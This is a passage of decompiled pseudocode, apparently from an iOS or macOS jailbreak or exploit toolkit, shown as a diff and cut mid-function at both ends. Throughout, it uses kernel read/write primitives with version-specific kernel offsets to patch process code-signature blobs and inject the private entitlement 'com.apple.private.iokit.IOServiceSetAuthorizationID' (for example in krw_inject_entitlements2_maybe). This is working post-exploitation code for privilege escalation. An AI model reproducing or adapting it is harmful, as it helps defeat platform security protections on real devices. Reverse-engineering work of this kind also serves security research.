posix_spawn_file_actions_addopen(&v9, 2, "/dev/null", 0x20201, 0) + || posix_spawn(&v8, *a1, &v9, &v11, (char *const *)a1, 0LL) ) + { + v3 = 0xAD00BLL; + } + else + { + v3 = 0xAD00BLL; + do + { + v5 = waitpid(v8, &v7, 0); + if ( v5 == v8 ) + { + if ( v5 != 0xFFFFFFFF ) + goto LABEL_26; + v3 = 0LL; + } + else + { + if ( v5 != 0xFFFFFFFF ) + break; + __error(); + } + } + while ( *__error() == 4 ); + if ( (_DWORD)v3 ) + goto LABEL_14; +LABEL_26: + if ( (v7 & 0xFF00) != 0 ) + v6 = 0xAD00B; + else + v6 = 0; + if ( (v7 & 0x7F) != 0 ) + v3 = 0xAD00BLL; + else + v3 = v6; + } +LABEL_14: + posix_spawn_file_actions_destroy(&v9); + v1 = v3; + } + posix_spawnattr_destroy(&v11); + } + return v1; +} + +//----- (000000000002B94C) ---------------------------------------------------- +unsigned __int64 __fastcall sub_2B94C( + __int64 a1, + unsigned int a2, + __int64 *a3, + unsigned __int8 a4, + unsigned __int64 *a5) +{ + unsigned __int64 result; // x0 + unsigned __int64 v10; // x23 + unsigned __int64 v12; // x1 + _BOOL4 v13; // w8 + __int64 v14; // x1 + int v15; // w20 + __int64 v16; // x2 + unsigned __int64 v17; // x9 + __int64 v18; // x8 + bool v19; // cc + unsigned __int64 v20; // x9 + __int128 *v21; // x10 + unsigned __int64 v22; // x8 + _BOOL4 v24; // w8 + unsigned int v25; // [xsp+0h] [xbp-150h] BYREF + unsigned int v26; // [xsp+4h] [xbp-14Ch] BYREF + unsigned __int64 v27; // [xsp+8h] [xbp-148h] BYREF + __int64 v28; // [xsp+10h] [xbp-140h] BYREF + __int64 v29; // [xsp+18h] [xbp-138h] BYREF + __int64 v30; // [xsp+20h] [xbp-130h] BYREF + __int64 v31; // [xsp+28h] [xbp-128h] BYREF + __int128 v32; // [xsp+30h] [xbp-120h] BYREF + __int128 v33; // [xsp+40h] [xbp-110h] + __int128 v34; // [xsp+50h] [xbp-100h] BYREF + _OWORD v35[9]; // [xsp+60h] [xbp-F0h] BYREF + __int64 v36; // [xsp+F0h] [xbp-60h] + + v30 = 0LL; + v31 = 0LL; + v28 = 0LL; + v29 = 0LL; + v27 = 0LL; + result = sub_33E8C(a1, a2); + if ( !result ) + return result; + v10 = result; + if ( !(unsigned int)sub_2BBA4(a1, (int *)&v31 + 1, (int *)&v31) ) + return 0LL; + if ( !kread64((_DWORD *)a1, v10 + HIDWORD(v31), &v30) || v30 == 0 ) + return 0LL; + if ( !a3 ) + { + if ( (unsigned int)kreadbuf_last_1(a1, v10 + (unsigned int)v31, 8LL, (__int64)&v29) ) + goto LABEL_10; + return 0LL; + } + v29 = *a3; +LABEL_10: + if ( !(unsigned int)sub_2BC80(a1, &v26, &v25) || !kread64((_DWORD *)a1, v30 + v26, &v28) || !v28 ) + return 0LL; + v12 = v28 + v25; + if ( a5 ) + *a5 = v12; + v13 = kread64((_DWORD *)a1, v12, (__int64 *)&v27); + result = 0LL; + if ( v13 ) + { + v14 = v27; + if ( v27 ) + { + v15 = a4 & (a3 == 0LL); + while ( 1 ) + { + v36 = 0LL; + v34 = 0u; + memset(v35, 0, sizeof(v35)); + v16 = *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ? 0x30LL : 0x40LL; + v32 = 0uLL; + v33 = 0uLL; + if ( !(unsigned int)kreadbuf_last_1(a1, v14, v16, (__int64)&v32) ) + break; + v17 = *(_QWORD *)(a1 + 0x158); + v18 = *((_QWORD *)&v33 + 1); + if ( v17 > 0x1F530F027FFFFFLL ) + v18 = *((_QWORD *)&v34 + 1); + if ( v15 ) + { + if ( (unsigned __int64)(v18 - 0x20000000) <= 0x7FE0000000LL ) + return v27; + } + else + { + v19 = v17 > 0x1F530F027FFFFFLL; + if ( v17 <= 0x1F530F027FFFFFLL ) + v20 = *((_QWORD *)&v34 + 1); + else + v20 = *((_QWORD *)&v35[0] + 1); + v21 = v35; + if ( !v19 ) + v21 = &v34; + v22 = v29 - v18; + if ( v22 >= *(_QWORD *)v21 && v22 < v20 ) + return v27; + } + v24 = kread64((_DWORD *)a1, v27, (__int64 *)&v27); + result = 0LL; + if ( v24 ) + { + v14 = v27; + if ( v27 ) + continue; + } + return result; + } + return 0LL; + } + } + return result; +} + +//----- (000000000002BBA4) ---------------------------------------------------- +__int64 __fastcall sub_2BBA4(__int64 a1, int *a2, int *a3) +{ + __int64 result; // x0 + int v5; // w9 + int v7; // w8 + int v8; // w9 + unsigned __int64 v9; // x8 + + result = 0LL; + v5 = *(_DWORD *)(a1 + 0x140); + if ( v5 <= 0x1F53 ) + { + switch ( v5 ) + { + case 0x1809: + v7 = 0x240; + v8 = 0x238; + break; + case 0x1C1B: + v7 = 0x228; + v8 = 0x220; + break; + case 0x1F53: + v9 = *(_QWORD *)(a1 + 0x158); + if ( v9 <= 0x1F530F027FFFFFLL ) + v8 = 0x2A8; + else + v8 = 0x358; + if ( v9 <= 0x1F530F027FFFFFLL ) + v7 = 0x2B0; + else + v7 = 0x360; + break; + default: + return result; + } + goto LABEL_26; + } + if ( v5 <= 0x225B ) + { + if ( v5 != 0x1F54 && v5 != 0x2258 ) + return result; + v7 = 0x358; + v8 = 0x350; +LABEL_26: + *a2 = v8; + *a3 = v7; + return 1LL; + } + if ( v5 == 0x225C || v5 == 0x2712 ) + { + v7 = 0x550; + v8 = 0x548; + goto LABEL_26; + } + return result; +} + +//----- (000000000002BC80) ---------------------------------------------------- +__int64 __fastcall sub_2BC80(__int64 a1, _DWORD *a2, _DWORD *a3) +{ + __int64 result; // x0 + int v5; // w8 + bool v6; // zf + int v7; // w9 + + result = 0LL; + v5 = *(_DWORD *)(a1 + 0x140); + if ( v5 > 0x2257 ) + { + v6 = v5 == 0x2258 || v5 == 0x2712; + v7 = 0x225C; + } + else + { + v6 = (unsigned int)(v5 - 0x1F53) < 2 || v5 == 0x1809; + v7 = 0x1C1B; + } + if ( v6 || v5 == v7 ) + { + if ( a2 ) + *a2 = 0x78; + if ( a3 ) + *a3 = 0x50; + return 1LL; + } + return result; +} + +//----- (000000000002BCF0) ---------------------------------------------------- +__int64 __fastcall sub_2BCF0(int a1, const void *a2, CC_LONG a3, void *a4, _DWORD *a5) +{ + size_t v6; // x21 + CC_SHA512_CTX c; // [xsp+8h] [xbp-138h] BYREF + unsigned __int8 md[48]; // [xsp+D8h] [xbp-68h] BYREF + + if ( (unsigned int)(a1 - 1) > 3 ) + return 0LL; + v6 = dword_436F0[a1 - 1]; + if ( *a5 < (unsigned int)v6 ) + return 0LL; + if ( (unsigned int)(a1 - 2) < 2 ) + { + CC_SHA256_Init((CC_SHA256_CTX *)&c); + CC_SHA256_Update((CC_SHA256_CTX *)&c, a2, a3); + CC_SHA256_Final(md, (CC_SHA256_CTX *)&c); + goto LABEL_11; + } + if ( a1 == 4 ) + { + CC_SHA384_Init(&c); + CC_SHA384_Update(&c, a2, a3); + CC_SHA384_Final(md, &c); + goto LABEL_11; + } + if ( a1 == 1 ) + { + CC_SHA1_Init((CC_SHA1_CTX *)&c); + CC_SHA1_Update((CC_SHA1_CTX *)&c, a2, a3); + CC_SHA1_Final(md, (CC_SHA1_CTX *)&c); +LABEL_11: + memcpy(a4, md, v6); + *a5 = v6; + return 1LL; + } + return 0LL; +} +// 436F0: using guessed type unsigned int dword_436F0[4]; + +//----- (000000000002BE34) ---------------------------------------------------- +__int64 __fastcall sub_2BE34(UInt8 *a1, CFIndex a2, UInt8 *a3, CFIndex a4, _QWORD *a5, _QWORD *a6, _BYTE *a7) +{ + CFErrorRef v12; // x0 + CFErrorRef v13; // x19 + CFErrorRef v14; // x0 + CFErrorRef v15; // x20 + void *v16; // x0 + __int64 v17; // x21 + size_t v19; // [xsp+8h] [xbp-38h] BYREF + + v12 = sub_2BF00(a1, a2); + if ( !v12 ) + return 0LL; + v13 = v12; + v14 = sub_2BF00(a3, a4); + if ( v14 ) + { + v15 = v14; + if ( (unsigned int)sub_2BFDC(v13, v14, a7) && (v16 = sub_2C044(v13, &v19)) != 0LL ) + { + *a6 = v19; + *a5 = v16; + v17 = 1LL; + } + else + { + v17 = 0LL; + } + CFRelease(v13); + } + else + { + v17 = 0LL; + v15 = v13; + } + CFRelease(v15); + return v17; +} + +//----- (000000000002BF00) ---------------------------------------------------- +CFErrorRef __fastcall sub_2BF00(UInt8 *bytes, CFIndex length) +{ + __CFReadStream *v2; // x0 + __CFReadStream *v3; // x19 + __CFError *v4; // x0 + CFErrorRef v5; // x20 + CFTypeID v6; // x21 + CFErrorRef error; // [xsp+8h] [xbp-28h] BYREF + + error = 0LL; + v2 = CFReadStreamCreateWithBytesNoCopy(kCFAllocatorDefault, bytes, length, kCFAllocatorNull); + if ( v2 ) + { + v3 = v2; + if ( !CFReadStreamOpen(v2) ) + { + v5 = 0LL; + goto LABEL_9; + } + v4 = (__CFError *)CFPropertyListCreateWithStream(kCFAllocatorDefault, v3, 0LL, 2uLL, 0LL, &error); + if ( v4 ) + { + v5 = v4; + v6 = CFGetTypeID(v4); + if ( v6 == CFDictionaryGetTypeID() ) + { +LABEL_6: + CFReadStreamClose(v3); +LABEL_9: + CFRelease(v3); + return v5; + } + } + else + { + v5 = error; + if ( !error ) + goto LABEL_6; + } + CFRelease(v5); + v5 = 0LL; + goto LABEL_6; + } + return 0LL; +} + +//----- (000000000002BFDC) ---------------------------------------------------- +__int64 __fastcall sub_2BFDC(const void *a1, const void *a2, _BYTE *a3) +{ + __int64 result; // x0 + + if ( !a3 ) + return (unsigned int)sub_12954(a1, a2) == 0; + if ( (unsigned int)sub_12BF4(a1, a2) ) + { + *a3 = 0; + return (unsigned int)sub_12954(a1, a2) == 0; + } + result = 1LL; + *a3 = 1; + return result; +} + +//----- (000000000002C044) ---------------------------------------------------- +void *__fastcall sub_2C044(CFPropertyListRef propertyList, size_t *a2) +{ + const __CFData *v3; // x0 + const __CFData *v4; // x19 + size_t Length; // x0 + size_t v6; // x22 + void *v7; // x21 + const UInt8 *BytePtr; // x0 + CFErrorRef error; // [xsp+8h] [xbp-28h] BYREF + + error = 0LL; + v3 = CFPropertyListCreateData(kCFAllocatorDefault, propertyList, kCFPropertyListXMLFormat_v1_0, 0LL, &error); + if ( v3 ) + { + v4 = v3; + Length = CFDataGetLength(v3); + if ( Length ) + { + v6 = Length; + v7 = malloc(Length); + if ( v7 ) + { + BytePtr = CFDataGetBytePtr(v4); + memcpy(v7, BytePtr, v6); + *a2 = v6; + } + goto LABEL_7; + } + } + else + { + v4 = error; + if ( !error ) + return 0LL; + } + v7 = 0LL; +LABEL_7: + CFRelease(v4); + return v7; +} + +//----- (000000000002C0F8) ---------------------------------------------------- +bool __fastcall sub_2C0F8(__int64 a1, unsigned int a2, const char *a3) +{ + _BOOL4 v5; // w26 + _BOOL8 v6; // x19 + unsigned int *v7; // x0 + unsigned int *v8; // x20 + unsigned int v9; // w28 + unsigned int v10; // w27 + unsigned int v11; // w25 + size_t v12; // x24 + size_t v13; // x23 + __int64 v14; // x8 + _OWORD *v15; // x0 + _DWORD *v16; // x22 + _DWORD *v17; // x0 + size_t v18; // x0 + _BYTE v20[104]; // [xsp+8h] [xbp-B8h] BYREF + + if ( (unsigned int)sub_2C2F8(a1, a2, (__int64)v20) ) + { + v5 = (*(_DWORD *)a1 & 0x5584001) != 0 || *(_QWORD *)(a1 + 0x158) > 0x1F52FFFFFFFFFFuLL; + v7 = sub_2C9B0((__int64)v20, 0, 0xFADE0C02); + if ( !v7 ) + goto LABEL_23; + v8 = v7; + v9 = v7[5]; + v10 = bswap32(v9); + if ( a3 ) + { + v11 = v7[1]; + if ( !v9 || strcmp((const char *)v7 + v10, a3) ) + { + v12 = bswap32(v11); + v13 = (unsigned int)strlen(a3) + 1; + if ( v5 ) + { + if ( (unsigned int)v13 <= 0x80 ) + { + v14 = (unsigned int)(v12 - 0x80); + v8[5] = bswap32(v14); + v15 = (_OWORD *)((char *)v8 + v14); + v15[6] = 0u; + v15[7] = 0u; + v15[4] = 0u; + v15[5] = 0u; + v15[2] = 0u; + v15[3] = 0u; + *v15 = 0u; + v15[1] = 0u; + strlcpy((char *)v8 + v14, a3, v13); + v16 = 0LL; +LABEL_20: + if ( (unsigned int)sub_2CA2C((__int64)v20, 0, v8) ) + { + v6 = (unsigned int)sub_2CA80(a1, (__int64)v20) != 0; + if ( !v16 ) + goto LABEL_26; + goto LABEL_25; + } + v6 = 0LL; + if ( v16 ) +LABEL_25: + free(v16); +LABEL_26: + sub_2CB54((__int64)v20); + return v6; + } +LABEL_23: + v6 = 0LL; + goto LABEL_26; + } + v17 = calloc((unsigned int)(v13 + v12), 1uLL); + if ( !v17 ) + goto LABEL_23; + v16 = v17; + memcpy(v17, v8, v12); + v16[5] = v11; + strlcpy((char *)v16 + (unsigned int)v12, a3, v13); + v16[1] = bswap32(v13 + v12); + v8 = v16; +LABEL_18: + if ( v9 != 0 && !v5 ) + { + v18 = strlen((const char *)v8 + v10); + bzero((char *)v8 + v10, v18); + } + goto LABEL_20; + } + } + else if ( v9 ) + { + v16 = 0LL; + v7[5] = 0; + goto LABEL_18; + } + v6 = 1LL; + goto LABEL_26; + } + return 0LL; +} + +//----- (000000000002C2F8) ---------------------------------------------------- +__int64 __fastcall sub_2C2F8(__int64 a1, unsigned int a2, __int64 a3) +{ + __int64 result; // x0 + unsigned __int64 v7; // x22 + unsigned int *v9; // x0 + unsigned int *v10; // x23 + int v11; // w22 + unsigned __int64 v12; // x0 + unsigned __int64 v13; // x21 + __int64 v14; // x21 + __int128 v15; // q1 + __int128 v16; // q1 + __int128 v17; // q0 + int v18; // w27 + unsigned int *v19; // x0 + char *v20; // x23 + char *v21; // x22 + unsigned int *v22; // x0 + char *v23; // x0 + unsigned int v24; // w4 + size_t v25; // x24 + size_t v26; // x26 + char *v27; // x0 + int v28; // w24 + char *v29; // x0 + unsigned int v30; // w1 + int v31; // w2 + CFIndex Length; // x23 + const UInt8 *BytePtr; // x0 + unsigned int *v34; // x0 + unsigned int *v35; // x26 + unsigned int v36; // w28 + size_t v37; // x24 + unsigned int v38; // w27 + char *v39; // x8 + const char *v40; // x25 + _DWORD *v41; // x0 + _DWORD *v42; // x22 + int v43; // w23 + unsigned int *v44; // x0 + int v45; // [xsp+Ch] [xbp-D4h] + __int128 v46; // [xsp+10h] [xbp-D0h] BYREF + __int128 v47; // [xsp+20h] [xbp-C0h] + __int128 v48; // [xsp+30h] [xbp-B0h] + __int128 v49; // [xsp+40h] [xbp-A0h] + __int128 v50; // [xsp+50h] [xbp-90h] + __int128 v51; // [xsp+60h] [xbp-80h] + __int64 v52; // [xsp+70h] [xbp-70h] + CFDataRef v53; // [xsp+78h] [xbp-68h] BYREF + size_t v54; // [xsp+80h] [xbp-60h] BYREF + char *v55; // [xsp+88h] [xbp-58h] BYREF + + if ( (unsigned int)sub_2E5C0(a1, a2, 0LL, 1u, (__int64)&v46) + || (result = sub_2E5C0(a1, a2, 0LL, 0, (__int64)&v46), (_DWORD)result) ) + { + v7 = *(_QWORD *)(a1 + 0x158); + if ( v7 >= 0x1C1B1914600000LL && ((*(_DWORD *)a1 & 0x5584001) != 0 || v7 > 0x1F52FFFFFFFFFFLL) ) + LOBYTE(v52) = 1; + if ( *((_QWORD *)&v48 + 1) >> 0x1D ) + { + v12 = sub_33E8C(a1, DWORD1(v50)); + if ( v12 ) + { + v13 = v12; + if ( (unsigned int)sub_2BBA4(a1, (int *)&v54, (int *)&v53) ) + { + v14 = v13 + (unsigned int)v53; + if ( (unsigned int)kreadbuf_last_1(a1, v14, 8LL, (__int64)&v55) ) + { + if ( *((char **)&v48 + 1) == v55 ) + goto LABEL_24; + if ( (unsigned int)sub_2F898((_DWORD *)a1, DWORD1(v50), (__int64)v55) ) + { + v55 = (char *)*((_QWORD *)&v48 + 1); + if ( (unsigned int)kwritebuf_last_1(a1, v14, (__int64)&v55, 8LL) ) + goto LABEL_24; + } + } + } + } + goto LABEL_82; + } + v9 = sub_2C9B0((__int64)&v46, v50, 0xFADE0C02); + if ( !v9 ) + goto LABEL_82; + v10 = v9; + if ( v9[0xA] ) + goto LABEL_82; + v9[0xA] = 0x80; + if ( (*(_DWORD *)a1 & 0x5584001) == 0 && v7 <= 0x1F52FFFFFFFFFFLL ) + { +LABEL_15: + v11 = sub_2CA80(a1, (__int64)&v46); + sub_2CB54((__int64)&v46); + v52 = 0LL; + v50 = 0u; + v51 = 0u; + v48 = 0u; + v49 = 0u; + v46 = 0u; + v47 = 0u; + if ( v11 ) + { + result = sub_2E5C0(a1, a2, 0LL, 1u, (__int64)&v46); + if ( !(_DWORD)result ) + return result; +LABEL_24: + v15 = v51; + *(_OWORD *)(a3 + 0x40) = v50; + *(_OWORD *)(a3 + 0x50) = v15; + *(_QWORD *)(a3 + 0x60) = v52; + v16 = v47; + *(_OWORD *)a3 = v46; + *(_OWORD *)(a3 + 0x10) = v16; + v17 = v49; + result = 1LL; + *(_OWORD *)(a3 + 0x20) = v48; + *(_OWORD *)(a3 + 0x30) = v17; + return result; + } + return 0LL; + } + v18 = (unsigned __int8)v52; + v54 = 0LL; + v55 = 0LL; + v53 = 0LL; + if ( v7 > 0x1F52FFFFFFFFFFLL && !(_BYTE)v52 ) + goto LABEL_82; + if ( v7 <= 0x1F52FFFFFFFFFFLL ) + { + v22 = sub_2C9B0((__int64)&v46, 5, 0xFADE7171); + if ( !v22 ) + { + if ( v18 ) + { + v23 = (char *)malloc(0x52uLL); + v21 = v23; + if ( !v23 ) + goto LABEL_59; + qmemcpy(v23, "com.apple.private.iokit.IOServiceSetAuthorizationID", 0x52); + v24 = 0x52; + } + else + { + v29 = (char *)malloc(0x7FF8uLL); + v21 = v29; + if ( !v29 ) + goto LABEL_59; + qmemcpy(v29, "com.apple.private.iokit.IOServiceSetAuthorizationID", 0x52); + bzero(v29 + 0x52, 0x7FA6uLL); + v10[0xA] = 0x8000; + v24 = 0x7FF8; + } + if ( !(unsigned int)sub_2D64C((__int64)&v46, 5, 0xFADE7171, v21, v24) + || !(unsigned int)sub_2D700((__int64)&v46, 5u) ) + { + goto LABEL_59; + } + goto LABEL_50; + } + } + else + { + v19 = sub_2C9B0((__int64)&v46, 7, 0xFADE7172); + if ( v19 ) + { + if ( (unsigned int)sub_2D008( + (const UInt8 *)v19 + 8, + bswap32(v19[1]) - 8LL, + "com.apple.private.iokit.IOServiceSetAuthorizationID", + &v55, + &v54, + 0LL) ) + { + v20 = v55; + if ( !(unsigned int)sub_2D374((__int64)&v46, 7, 0xFADE7172, v55, v54) ) + { + v21 = 0LL; + v28 = 0; +LABEL_61: + v45 = v18; + if ( v20 ) + free(v20); + if ( v21 ) + free(v21); + if ( !v28 ) + goto LABEL_82; + v34 = sub_2C9B0((__int64)&v46, 0, 0xFADE0C02); + if ( !v34 ) + goto LABEL_82; + v35 = v34; + v36 = v34[1]; + v37 = bswap32(v36); + v38 = v34[5]; + v39 = (char *)v34 + bswap32(v38); + v40 = v38 ? v39 : 0LL; + v41 = calloc((unsigned int)(v37 + 0x80), 1uLL); + if ( !v41 ) + goto LABEL_82; + v42 = v41; + memcpy(v41, v35, v37); + if ( v38 ) + { + v42[5] = v36; + if ( strlcpy((char *)v42 + v37, v40, 0x80uLL) >= 0x80 ) + { + free(v42); + goto LABEL_82; + } + } + else + { + v42[5] = 0; + } + v42[1] = bswap32(v37 + 0x80); + v43 = sub_2CA2C((__int64)&v46, 0, v42); + free(v42); + if ( v43 ) + { + if ( v45 ) + goto LABEL_15; + if ( (unsigned int)sub_2CA80(a1, (__int64)&v46) ) + { + sub_2CB54((__int64)&v46); + v52 = 0LL; + v50 = 0u; + v51 = 0u; + v48 = 0u; + v49 = 0u; + v46 = 0u; + v47 = 0u; + if ( (unsigned int)sub_2E5C0(a1, a2, 0LL, 1u, (__int64)&v46) ) + { + v44 = sub_2C9B0((__int64)&v46, 5, 0xFADE7171); + if ( v44 ) + { + v44[1] = bswap32(strlen((const char *)v44 + 8) + 8); + if ( (unsigned int)sub_2D3F8((__int64)&v46, 5u, 0xFADE7171) ) + { + if ( sub_2C9B0((__int64)&v46, v50, 0xFADE0C02) ) + goto LABEL_15; + } + } + } + } + } +LABEL_82: + sub_2CB54((__int64)&v46); + return 0LL; + } + v21 = 0LL; + if ( !(unsigned int)sub_2D3F8((__int64)&v46, 7u, 0xFADE7172) ) + goto LABEL_59; +LABEL_52: + v28 = 1; +LABEL_60: + v20 = v55; + goto LABEL_61; + } + goto LABEL_58; + } + v22 = sub_2C9B0((__int64)&v46, 5, 0xFADE7171); + if ( !v22 ) + { + if ( sub_2D500( + (const UInt8 *)"com.apple.private.iokit.IOServiceSetAuthorizationID", + 0x52LL, + (__int64)&v53) ) + { + Length = CFDataGetLength(v53); + v21 = (char *)malloc(Length); + if ( !v21 ) + goto LABEL_59; + BytePtr = CFDataGetBytePtr(v53); + memcpy(v21, BytePtr, Length); + if ( !(unsigned int)sub_2D64C((__int64)&v46, 7, 0xFADE7172, v21, Length) + || !(unsigned int)sub_2D700((__int64)&v46, 7u) ) + { + goto LABEL_59; + } + v31 = 0xFADE7172; + v30 = 7; + goto LABEL_51; + } + goto LABEL_58; + } + } + if ( (unsigned int)sub_2BE34( + (UInt8 *)v22 + 8, + bswap32(v22[1]) - 8LL, + (UInt8 *)"com.apple.private.iokit.IOServiceSetAuthorizationID", + 0x52LL, + &v55, + &v54, + 0LL) ) + { + v25 = v54; + if ( v18 ) + { + v21 = v55; + v55 = 0LL; + } + else + { + v26 = (v54 + 0x8007) & 0xFFFFFFFFFFFFC000LL; + v27 = (char *)malloc(v26 - 8); + v21 = v27; + if ( !v27 ) + goto LABEL_59; + memcpy(v27, v55, v25); + bzero(&v21[v25], v26 - 8 - v25); + v10[0xA] = v26; + LODWORD(v25) = v26 - 8; + } + if ( !(unsigned int)sub_2D374((__int64)&v46, 5, 0xFADE7171, v21, v25) ) + goto LABEL_59; +LABEL_50: + v30 = 5; + v31 = 0xFADE7171; +LABEL_51: + if ( (unsigned int)sub_2D3F8((__int64)&v46, v30, v31) ) + goto LABEL_52; +LABEL_59: + v28 = 0; + goto LABEL_60; + } +LABEL_58: + v21 = 0LL; + goto LABEL_59; + } + return result; +} + +//----- (000000000002C9B0) ---------------------------------------------------- +unsigned int *__fastcall sub_2C9B0(__int64 a1, int a2, int a3) +{ + int v3; // w8 + unsigned int *v4; // x9 + __int64 v5; // x8 + unsigned int **i; // x9 + unsigned int *result; // x0 + + if ( !a1 ) + return 0LL; + v3 = *(_DWORD *)(a1 + 0x30); + if ( !v3 ) + { + if ( !a2 ) + { + result = *(unsigned int **)(a1 + 0x38); + if ( *result == 0x20CDEFA ) + return result; + } + return 0LL; + } + if ( v3 != 1 ) + return 0LL; + v4 = *(unsigned int **)(a1 + 0x38); + v5 = *v4; + if ( !(_DWORD)v5 ) + return 0LL; + for ( i = (unsigned int **)(*((_QWORD *)v4 + 1) + 8LL); ; i += 2 ) + { + if ( *((_DWORD *)i + 0xFFFFFFFE) == a2 ) + { + result = *i; + if ( bswap32(**i) == a3 ) + break; + } + if ( !--v5 ) + return 0LL; + } + return result; +} + +//----- (000000000002CA2C) ---------------------------------------------------- +__int64 __fastcall sub_2CA2C(__int64 a1, int a2, unsigned int *a3) +{ + __int64 result; // x0 + __int64 v5; // x20 + _DWORD *v6; // x8 + + result = sub_2F92C(a1, a2, 0xFADE0C02); + if ( result ) + { + v5 = result; + result = (__int64)sub_2F980(a3); + if ( result ) + { + v6 = *(_DWORD **)(v5 + 8); + *(_QWORD *)(v5 + 8) = result; + sub_2F9D4(v6); + return 1LL; + } + } + return result; +} + +//----- (000000000002CA80) ---------------------------------------------------- +__int64 __fastcall sub_2CA80(__int64 a1, __int64 a2) +{ + __int64 result; // x0 + _QWORD v4[2]; // [xsp+8h] [xbp-28h] BYREF + unsigned int v5; // [xsp+18h] [xbp-18h] + + v4[0] = a1; + v4[1] = a2; + v5 = 0; + if ( *(_QWORD *)(a1 + 0x158) < 0x1C1B1914600000uLL || krw_ctx_has_flag((_DWORD *)a1, 4) ) + { + sub_2FA24((__int64)v4); + return v5; + } + if ( krw_ctx_has_flag((_DWORD *)a1, 0x5584001) && *(_QWORD *)(a1 + 0x158) <= 0x1C1B1E025FFFFFuLL ) + { + result = sub_23F78(a1, sub_2FA24, (__int64)v4); + if ( (_DWORD)result ) + return v5; + } + else + { + result = pthread_create_and_join(a1, (__int64)sub_2FA24, v4); + if ( (_DWORD)result ) + return v5; + } + return result; +} + +//----- (000000000002CB54) ---------------------------------------------------- +void __fastcall sub_2CB54(__int64 a1) +{ + int v2; // w8 + + v2 = *(_DWORD *)(a1 + 0x30); + if ( v2 ) + { + if ( v2 == 1 ) + sub_325DC(*(unsigned int **)(a1 + 0x38)); + } + else + { + sub_2F9D4(*(_DWORD **)(a1 + 0x38)); + } + *(_QWORD *)(a1 + 0x38) = 0LL; + *(_DWORD *)(a1 + 0x30) = 0xFFFFFFFF; +} + +//----- (000000000002CBA4) ---------------------------------------------------- +__int64 __fastcall krw_inject_entitlements2_maybe(__int64 a1, __int64 a2, char *a3, char a4) +{ + __int64 result; // x0 + unsigned __int64 v9; // x8 + bool v10; // cc + bool v11; // w27 + int v12; // w24 + unsigned int *v13; // x0 + unsigned int *v14; // x22 + UInt8 *v15; // x23 + unsigned __int64 v16; // x24 + size_t v17; // x0 + bool v18; // w24 + size_t v19; // x4 + const UInt8 *BytePtr; // x22 + unsigned int Length; // w0 + int v22; // w2 + unsigned int v23; // w1 + void *v24; // x22 + unsigned int *v25; // x0 + unsigned int *v26; // x0 + __int64 v27; // x8 + unsigned __int64 v28; // x9 + unsigned __int64 v29; // x8 + size_t v30; // x24 + size_t v31; // x25 + CFDataRef theData; // [xsp+8h] [xbp-D8h] BYREF + bool v33; // [xsp+17h] [xbp-C9h] BYREF + size_t __n; // [xsp+18h] [xbp-C8h] BYREF + void *__src; // [xsp+20h] [xbp-C0h] BYREF + _BYTE v36[64]; // [xsp+28h] [xbp-B8h] BYREF + int v37; // [xsp+68h] [xbp-78h] + char v38; // [xsp+88h] [xbp-58h] + char v39; // [xsp+89h] [xbp-57h] + + __src = 0LL; + v33 = 0; + theData = 0LL; + result = sub_2C2F8(a1, a2, (__int64)v36); + if ( !(_DWORD)result ) + return result; + v9 = *(_QWORD *)(a1 + 0x158); + if ( v9 < 0x1C1B1914600000LL || ((*(_DWORD *)a1 & 0x5584001) == 0 ? (v10 = v9 > 0x1F52FFFFFFFFFFLL) : (v10 = 1), !v10) ) + { + v12 = 0; + v11 = (a4 & 1) == 0; +LABEL_12: + v13 = sub_2C9B0((__int64)v36, 5, 0xFADE7171); + if ( !v13 ) + { + if ( (*(_DWORD *)a1 & 0x5584001) == 0 ) + { + v19 = strlen(a3); + if ( v12 ) + { + if ( sub_2D500((const UInt8 *)a3, v19, (__int64)&theData) ) + { + BytePtr = CFDataGetBytePtr(theData); + Length = CFDataGetLength(theData); + if ( (unsigned int)sub_2D64C((__int64)v36, 7, 0xFADE7172, BytePtr, Length) ) + { + if ( (unsigned int)sub_2D700((__int64)v36, 7u) ) + { + v22 = 0xFADE7172; + v23 = 7; + goto LABEL_53; + } + } + } + } + else if ( (unsigned int)sub_2D64C((__int64)v36, 5, 0xFADE7171, a3, v19) + && (unsigned int)sub_2D700((__int64)v36, 5u) ) + { + goto LABEL_52; + } + } + goto LABEL_56; + } + v14 = v13; + v15 = (UInt8 *)(v13 + 2); + v16 = bswap32(v13[1]) - 8LL; + v17 = strlen(a3); + if ( !(unsigned int)sub_2BE34(v15, v16, (UInt8 *)a3, v17, &__src, &__n, &v33) ) + goto LABEL_56; + if ( !v33 ) + goto LABEL_25; + if ( *(_QWORD *)(a1 + 0x158) < 0x1F530000000000uLL || v11 ) + { +LABEL_18: + v18 = 0; + goto LABEL_57; + } + if ( (unsigned int)sub_2D2B4(a1, (__int64)v36, a2, &v33) ) + { + if ( v33 ) + goto LABEL_18; +LABEL_25: + if ( !v38 && (*(_DWORD *)a1 & 0x5584001) != 0 ) + { + v26 = sub_2C9B0((__int64)v36, v37, 0xFADE0C02); + if ( v26 ) + { + v27 = v26[0xA]; + if ( (_DWORD)v27 ) + { + v28 = v27 - 8; + if ( v27 - 8 < v16 ) + v28 = v16; + v29 = (v27 & 0x3FFF) != 0 ? v16 : v28; + v30 = __n; + v31 = v29 - __n; + if ( v29 >= __n ) + { + memcpy(v15, __src, __n); + bzero((char *)v14 + v30 + 8, v31); + v14[1] = bswap32(v30 + 8); + goto LABEL_52; + } + } + } +LABEL_56: + v18 = 1; + goto LABEL_57; + } + v24 = __src; + if ( (unsigned int)sub_2D374((__int64)v36, 5, 0xFADE7171, __src, __n) ) + { +LABEL_52: + v23 = 5; + v22 = 0xFADE7171; + goto LABEL_53; + } +LABEL_69: + v18 = 1; + if ( !v24 ) + goto LABEL_59; + goto LABEL_58; + } +LABEL_55: + v11 = 0; + goto LABEL_56; + } + v38 = 1; + v11 = (a4 & 1) == 0; + if ( v9 >= 0x1F530000000000LL && (a4 & 1) != 0 ) + { + v39 = 1; + } + else if ( v9 <= 0x1F52FFFFFFFFFFLL ) + { + v12 = 0; + goto LABEL_12; + } + v25 = sub_2C9B0((__int64)v36, 7, 0xFADE7172); + if ( !v25 ) + { + v12 = 1; + goto LABEL_12; + } + if ( !(unsigned int)sub_2D008((const UInt8 *)v25 + 8, bswap32(v25[1]) - 8LL, a3, &__src, &__n, &v33) ) + goto LABEL_56; + if ( !v33 ) + { +LABEL_67: + v24 = __src; + if ( (unsigned int)sub_2D374((__int64)v36, 7, 0xFADE7172, __src, __n) ) + { + v23 = 7; + v22 = 0xFADE7172; +LABEL_53: + if ( (unsigned 